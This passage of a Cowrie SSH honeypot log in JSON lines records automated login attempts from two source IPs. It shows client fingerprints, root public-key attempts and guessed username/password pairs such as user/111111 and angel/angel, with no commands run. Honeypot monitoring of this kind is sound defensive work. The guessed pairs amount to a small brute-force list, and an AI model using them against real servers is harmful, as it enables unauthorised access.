"none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:12:41.609639Z","src_ip":"47.86.95.62","session":"49b8f0c905c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111111","message":"login attempt [user/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:12:42.353463Z","src_ip":"47.86.95.62","session":"49b8f0c905c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.6","message":"Connection lost after 10.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:12:51.944495Z","src_ip":"47.86.95.62","session":"49b8f0c905c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":35650,"dst_ip":"10.17.0.5","dst_port":22,"session":"848c752ff521","protocol":"ssh","message":"New connection: 47.86.95.62:35650 (10.17.0.5:22) [session: 848c752ff521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:17.441998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:17.665416Z","src_ip":"47.86.95.62","session":"848c752ff521","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:17.668648Z","src_ip":"47.86.95.62","session":"848c752ff521","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel","message":"login attempt [angel/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:18.918972Z","src_ip":"47.86.95.62","session":"848c752ff521","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:20.125070Z","src_ip":"47.86.95.62","session":"848c752ff521","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":53122,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a90250edc13","protocol":"ssh","message":"New connection: 47.86.95.62:53122 (10.17.0.5:22) [session: 0a90250edc13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:24.302056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:24.306387Z","src_ip":"47.86.95.62","session":"0a90250edc13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:24.553241Z","src_ip":"47.86.95.62","session":"0a90250edc13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:25.198199Z","src_ip":"47.86.95.62","session":"0a90250edc13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:26.408690Z","src_ip":"47.86.95.62","session":"0a90250edc13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":53130,"dst_ip":"10.17.0.5","dst_port":22,"session":"33989a728e9a","protocol":"ssh","message":"New connection: 47.86.95.62:53130 (10.17.0.5:22) [session: 33989a728e9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:28.906577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:28.933266Z","src_ip":"47.86.95.62","session":"33989a728e9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.68.103.106","src_port":33130,"dst_ip":"10.17.0.5","dst_port":22,"session":"f563e1c4fd31","protocol":"ssh","message":"New connection: 51.68.103.106:33130 (10.17.0.5:22) [session: f563e1c4fd31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:29.054558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:29.058901Z","src_ip":"51.68.103.106","session":"f563e1c4fd31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:29.140002Z","src_ip":"51.68.103.106","session":"f563e1c4fd31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:29.194678Z","src_ip":"47.86.95.62","session":"33989a728e9a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"97:05:7d:bc:9c:29:8e:a6:ff:c2:d9:ce:cf:b3:81:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDoTYEmZjfdIHQzBpq+mLltTUf81ooTAn/tvaaNUC6zFOCZqsvgz2d+1QeFdhHmNXM04WtiMjEzzF0zdkrXNMJGr6x3aJJJAzIF3eQDbl8NeTC6CXX6R/6GWpTam0UevNDgzCHDHAqCi4jRQhpUPW1pS+uX3e20eMcKZ8uxrZb0YOD7aUhJ7fLFcJGSVkUTbN22roZj4Cpz+c1+j0PQNJ86cNZqoPBzoZ2k86+70EFcPC1Zp7PrZ6qrCPl1J04/1zn4r5QyHv+8DlglfNRTSTgAJnHH/gT7EFBESu0lnnmXUVI2i6cI98f33MiJSSwG/PCOg2TeVPmB+lx/dYWhQAhv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 97:05:7d:bc:9c:29:8e:a6:ff:c2:d9:ce:cf:b3:81:01","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:29.523641Z","src_ip":"51.68.103.106","session":"f563e1c4fd31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"97:05:7d:bc:9c:29:8e:a6:ff:c2:d9:ce:cf:b3:81:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDoTYEmZjfdIHQzBpq+mLltTUf81ooTAn/tvaaNUC6zFOCZqsvgz2d+1QeFdhHmNXM04WtiMjEzzF0zdkrXNMJGr6x3aJJJAzIF3eQDbl8NeTC6CXX6R/6GWpTam0UevNDgzCHDHAqCi4jRQhpUPW1pS+uX3e20eMcKZ8uxrZb0YOD7aUhJ7fLFcJGSVkUTbN22roZj4Cpz+c1+j0PQNJ86cNZqoPBzoZ2k86+70EFcPC1Zp7PrZ6qrCPl1J04/1zn4r5QyHv+8DlglfNRTSTgAJnHH/gT7EFBESu0lnnmXUVI2i6cI98f33MiJSSwG/PCOg2TeVPmB+lx/dYWhQAhv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:29.527522Z","src_ip":"51.68.103.106","session":"f563e1c4fd31","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:04:f0:37:d2:28:74:2e:6b:26:66:d6:7a:c5:0d:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMeiJ74QtHzTN/NwJJU3o04kYJ1gYEtHiJGqhmsUIXc00l+MvC8OyOq2pOV7CGCXeVujoA/X+TqVsHUnmbA8ZrW6ClBdZ+XG6LrheysJHOlQe3KiMbK03X11PwI2hESKckL/0PbTQdmwfsgGYttQHPkzyTGLMEIh7QmiLp62Gh5H94EKD9mrIly5Hz0LhfEnJ6fJ8II0R8KxOtoYR2qVmWTWyNjz4I9qy9irysLi9WPQyMPtVZs03LxKI5ImXNZQMgHIhnVq9N3g2KMs6IkGfDVQGIXskWKqmpXFzbAaLgkvSK4Ykq9H3UVCGIiMUCv5xmTo47dUZEj67KjdXvqRpLQyUiqPSkIcBtRGVZz7cmyJqv7LjXSctg5HLPRyNlGCftJXpQgm9pg+6Q7Vee7G7ZERHbP9eUks15+p4TqAa/D237e/hFlUtyvtcK7jllKJ/6n7sd9YCreWBOfXwxAjHeEhJKiYcmORRxWnAeLLJmk/K6IJUDMdS8b4IBu+W9z4OLtvPGMY4bmM9oMqCOfu2U2kHEFOn7L3UKaHPWG2nu9z/4T6N1KGCyNG5K9OogOwprCJagDnxVFkUUJn7JhNrGdTgKhKnFJtYkbKup2+aS9lKKLd93p8By6UofcKVc+vhMd8j/88CFQq3ShoEDUx7N+Jg8MuoH5O8odvbuUhHcDw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 00:04:f0:37:d2:28:74:2e:6b:26:66:d6:7a:c5:0d:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:29.609293Z","src_ip":"51.68.103.106","session":"f563e1c4fd31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:04:f0:37:d2:28:74:2e:6b:26:66:d6:7a:c5:0d:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMeiJ74QtHzTN/NwJJU3o04kYJ1gYEtHiJGqhmsUIXc00l+MvC8OyOq2pOV7CGCXeVujoA/X+TqVsHUnmbA8ZrW6ClBdZ+XG6LrheysJHOlQe3KiMbK03X11PwI2hESKckL/0PbTQdmwfsgGYttQHPkzyTGLMEIh7QmiLp62Gh5H94EKD9mrIly5Hz0LhfEnJ6fJ8II0R8KxOtoYR2qVmWTWyNjz4I9qy9irysLi9WPQyMPtVZs03LxKI5ImXNZQMgHIhnVq9N3g2KMs6IkGfDVQGIXskWKqmpXFzbAaLgkvSK4Ykq9H3UVCGIiMUCv5xmTo47dUZEj67KjdXvqRpLQyUiqPSkIcBtRGVZz7cmyJqv7LjXSctg5HLPRyNlGCftJXpQgm9pg+6Q7Vee7G7ZERHbP9eUks15+p4TqAa/D237e/hFlUtyvtcK7jllKJ/6n7sd9YCreWBOfXwxAjHeEhJKiYcmORRxWnAeLLJmk/K6IJUDMdS8b4IBu+W9z4OLtvPGMY4bmM9oMqCOfu2U2kHEFOn7L3UKaHPWG2nu9z/4T6N1KGCyNG5K9OogOwprCJagDnxVFkUUJn7JhNrGdTgKhKnFJtYkbKup2+aS9lKKLd93p8By6UofcKVc+vhMd8j/88CFQq3ShoEDUx7N+Jg8MuoH5O8odvbuUhHcDw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:29.612632Z","src_ip":"51.68.103.106","session":"f563e1c4fd31","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:19:49:26:08:0a:1b:1d:d2:64:ca:28:30:f1:8d:9d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOkR0Bp30nlSX6r51OqhWSCqUVhXLZoqiMTUb+x8hEEZ","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 49:19:49:26:08:0a:1b:1d:d2:64:ca:28:30:f1:8d:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:29.693811Z","src_ip":"51.68.103.106","session":"f563e1c4fd31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:19:49:26:08:0a:1b:1d:d2:64:ca:28:30:f1:8d:9d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOkR0Bp30nlSX6r51OqhWSCqUVhXLZoqiMTUb+x8hEEZ","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:29.697510Z","src_ip":"51.68.103.106","session":"f563e1c4fd31","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:d3:cc:96:d5:27:e7:a4:36:62:47:07:e2:cb:e4:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7uiFXJkAWgLkGCdAuBppJphe8KAxm9nmgNkaNLXia96C+S5f1LecH52C/BOIDWYea/7MbJRumkm2NVWxvwUtWMX+NOSJUo7/G9KMfIYfF5fjt7KbxZtXOWrHmaq3FoLx+/WKCBLpNMQ6Ku6aOsWwoK/sUx3ycyza4RFMqx2N7qr3xcDDp9KBlyb5u3Th30e9iTeX+cz0hn0muKdhxdSRFruVJmBhGG7iR4DhdQ5gHxM51cRFfkkIeBWgC7rAShhOVVMoQUR8BFYYLeJu6edVPxdHjbIh+lzsNpiV5GBKV8DMmjQXsijbKqLKELTeD612Z/wH/Elw8GX8gVfVbY82FA6vZzxltUzGdGQCnaaTBRWFbs31JxZDP0kXcvMFzfbtYdv5gM3yEOYBffPwDgyvtQAF0dNEnLMQ5mc5nGdtSIbVz9ujz99u/Y0gI0ifW8ylOnQvuQOflAeOUe6loXnJwh/nBCo4HgruGmSxkOeVxJOtlrEUnMVW7FVk/DIIMYAgnXqN5oEzE5wtq6YWtz9DykDEYAIPtsNvYnUtWjpgIQ7A6qRJclk+0cXKY1LjjHwSC7hdYqhgJdb9cVUEoC2ybYsYPhUm/bvVX8W3ooznA9pa8S1crDApXLWeBiND1MUUdRjDjVdiSxBwbrkmdtV8KCpzIba88vaN01Fq6H1TO7Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:d3:cc:96:d5:27:e7:a4:36:62:47:07:e2:cb:e4:33","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:29.778749Z","src_ip":"51.68.103.106","session":"f563e1c4fd31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:d3:cc:96:d5:27:e7:a4:36:62:47:07:e2:cb:e4:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7uiFXJkAWgLkGCdAuBppJphe8KAxm9nmgNkaNLXia96C+S5f1LecH52C/BOIDWYea/7MbJRumkm2NVWxvwUtWMX+NOSJUo7/G9KMfIYfF5fjt7KbxZtXOWrHmaq3FoLx+/WKCBLpNMQ6Ku6aOsWwoK/sUx3ycyza4RFMqx2N7qr3xcDDp9KBlyb5u3Th30e9iTeX+cz0hn0muKdhxdSRFruVJmBhGG7iR4DhdQ5gHxM51cRFfkkIeBWgC7rAShhOVVMoQUR8BFYYLeJu6edVPxdHjbIh+lzsNpiV5GBKV8DMmjQXsijbKqLKELTeD612Z/wH/Elw8GX8gVfVbY82FA6vZzxltUzGdGQCnaaTBRWFbs31JxZDP0kXcvMFzfbtYdv5gM3yEOYBffPwDgyvtQAF0dNEnLMQ5mc5nGdtSIbVz9ujz99u/Y0gI0ifW8ylOnQvuQOflAeOUe6loXnJwh/nBCo4HgruGmSxkOeVxJOtlrEUnMVW7FVk/DIIMYAgnXqN5oEzE5wtq6YWtz9DykDEYAIPtsNvYnUtWjpgIQ7A6qRJclk+0cXKY1LjjHwSC7hdYqhgJdb9cVUEoC2ybYsYPhUm/bvVX8W3ooznA9pa8S1crDApXLWeBiND1MUUdRjDjVdiSxBwbrkmdtV8KCpzIba88vaN01Fq6H1TO7Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:29.782519Z","src_ip":"51.68.103.106","session":"f563e1c4fd31","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c7:c0:e8:f6:17:6b:0c:13:2a:0e:7f:99:9b:4e:f5:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCo+aCbzw6uXxpQiyFgdtUOYnMq/YSN3vxiIz36URLAziLIHiSkFHJ2LY0Jahlhbw116xSx+gP4RGwe1Dc6BQ80T4CzP6ca0dgwRfnDC/yIWreRtyPOY8oMq7uclfT8HkIY2zF6DQYpr99GUhI5nb5oEGUEsMEvB5E/jCquND0QzWzSF6hWq9XTa3y/wL2UXFYsp2ReFrm4jju2TbDdP88LeEiMv4fjcsbys1RauDrLRWNYW+Bdpum6NM9FLd5T/KUTlsTKAta2YrXdkKm3Nkad5fdrODc8y6KcTrYXNnHk3pAKF512NwbiBssBZmVe8Bs7qp4Nb4zIRs6tBOSJww/c+oDlNHY1DPuid5tL81MxP5/QiMcnCN7spbw8dxhIHB8nP0A+2Y7jMTNNB+CnmXO2MAre+QFFmpwXLPstKWNNr2ivsCf2DjHvQXlCGNoAmwMmw+xMDm0vtSDOI4v2ckMRaeSUuaq4trrWFp2+1mKnjmvwolbRyPc4w/WFUC1t6PamxwXz0zSu2TZWlceIFP40uaQKqExU/Y+U9b3TswRAplSO+78gRAUVwezdSVYuAQkcxLK/S7LTFslLeF+GE3IsJyJHu3zUF5iVclotRpYwRD2AU1Ky3knGtRgAblupiJ5gpLpnj03dtyFKGVv3VZe7Y/mrionRC3/LxbU1VOnCzQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c7:c0:e8:f6:17:6b:0c:13:2a:0e:7f:99:9b:4e:f5:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:29.866071Z","src_ip":"51.68.103.106","session":"f563e1c4fd31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c7:c0:e8:f6:17:6b:0c:13:2a:0e:7f:99:9b:4e:f5:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCo+aCbzw6uXxpQiyFgdtUOYnMq/YSN3vxiIz36URLAziLIHiSkFHJ2LY0Jahlhbw116xSx+gP4RGwe1Dc6BQ80T4CzP6ca0dgwRfnDC/yIWreRtyPOY8oMq7uclfT8HkIY2zF6DQYpr99GUhI5nb5oEGUEsMEvB5E/jCquND0QzWzSF6hWq9XTa3y/wL2UXFYsp2ReFrm4jju2TbDdP88LeEiMv4fjcsbys1RauDrLRWNYW+Bdpum6NM9FLd5T/KUTlsTKAta2YrXdkKm3Nkad5fdrODc8y6KcTrYXNnHk3pAKF512NwbiBssBZmVe8Bs7qp4Nb4zIRs6tBOSJww/c+oDlNHY1DPuid5tL81MxP5/QiMcnCN7spbw8dxhIHB8nP0A+2Y7jMTNNB+CnmXO2MAre+QFFmpwXLPstKWNNr2ivsCf2DjHvQXlCGNoAmwMmw+xMDm0vtSDOI4v2ckMRaeSUuaq4trrWFp2+1mKnjmvwolbRyPc4w/WFUC1t6PamxwXz0zSu2TZWlceIFP40uaQKqExU/Y+U9b3TswRAplSO+78gRAUVwezdSVYuAQkcxLK/S7LTFslLeF+GE3IsJyJHu3zUF5iVclotRpYwRD2AU1Ky3knGtRgAblupiJ5gpLpnj03dtyFKGVv3VZe7Y/mrionRC3/LxbU1VOnCzQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:29.870185Z","src_ip":"51.68.103.106","session":"f563e1c4fd31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:29.952580Z","src_ip":"51.68.103.106","session":"f563e1c4fd31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:13:34.979289Z","src_ip":"47.86.95.62","session":"33989a728e9a","protocol":"ssh"}
